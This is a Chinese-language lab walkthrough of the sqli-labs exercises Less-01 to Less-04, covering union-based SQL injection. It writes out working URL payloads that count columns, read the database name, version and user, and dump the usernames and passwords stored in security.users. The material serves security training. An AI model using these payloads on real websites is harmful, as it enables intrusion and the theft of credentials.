从根本上讲,当开发人员对用户的输入过滤不严,造成了用户可以通过输入SQL语句控制数据库,就会产生SQL注入漏洞。
为了省时间,快速的学习了解SQL注入,这里使用Windows sever 2008 R2+phpstudy环境
首先需要在源代码中添加这两个语句,使网页能够回显执行的有效sql语句
echo”有效输入”.$id.”
”
echo”执行的sql语句”.$sql.”
”
Less-01 single quotes string 单引号,字符型
正常传参
Less-1/?id=1
加单引号报错,说明存在字符型注入
Less-1/?id=1'
猜字段,--+用来注释掉查询语句最后的那一个单引号,也可以使用—'来闭合后面的单引号
Less-1/?id=1' order by 3 --+
由上一段猜出的字段数使用union查询,发现并没有回显位
Less-1/?id=1' union select 1,2,3 --+
查看源代码得知,引用了一次mysql_fetch_array()函数
所以我们是第一行为空,即union左边的查询为空,id=-1
Less-1/?id=-1' union select 1,2,3 --+
此时就可以真正的开始查询数据库中的数据,因为只回显了2和3,我们就只能修改2,3位置,但只靠这我觉得应该是不够的,这时候就需要使用到数据库中的连接函数
Less-1/?id=-1' Union select 1,concat(char(32,58,32),database(),version(),user()),3—'
这里需要说一下information_schema,这是系统数据库,安装完成就会有,它记录着所有数据库,表,列,用户权限等,下面再说一下常用的几个表
SCHEMATA表
储存着mysql所有的数据库信息,show databases的结果就是取自这个表
TABLES表
储存的数据库所有的表信息,表是基本表还是系统表,创建时间,数据库的引擎是什么,表有多少行等,show tables from mysql的结果就是取自这个表
Columns表
储存这数据库所有的列信息,show columns from mysql.user的结果就是取自这个表
这里还要说一点,group_concat函数可以显示出所有查询的所有数据,limit只显示某一行
查询库名
查表
可以看到有个users表,查列
好,有用户名和密码列—char(32,58,32)是冒号,便于分开账号和密码
Less-1/?id=-1' union select 1,(select group_concat(username,char(32,58,32),password) from security.users),3%23
以下相同点不在赘述,有不一样的再详细研究
Less-02 intiger based 整数型
Id=2-1回显正常
猜字段长度,4个长了
还是3个
库表列,账号密码,方法同Less-01
Less-03 单引号闭合
字符型,需要闭合前面的单引号,--+注释或者—‘闭合掉后面的单引号
回显出
Less-04 双引号闭合
系统查询语句后面的双引号使用--+注释掉或者使用—(“闭合掉